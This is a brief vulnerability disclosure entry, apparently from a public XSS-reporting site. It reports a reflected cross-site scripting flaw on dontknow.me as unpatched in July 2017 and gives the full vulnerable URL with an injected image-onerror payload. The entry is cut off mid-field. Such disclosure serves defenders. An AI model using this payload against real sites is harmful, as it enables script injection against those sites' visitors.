dontknow.me XSS vulnerability

Vulnerable URL: http://dontknow.me/at/?http://www.economist.com/research/articlesBySubject/displaystory.cfm?subjectid=348954&storyid=%22%3E%3Cimg%20src=x%20onerror=prompt/xssposed/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS...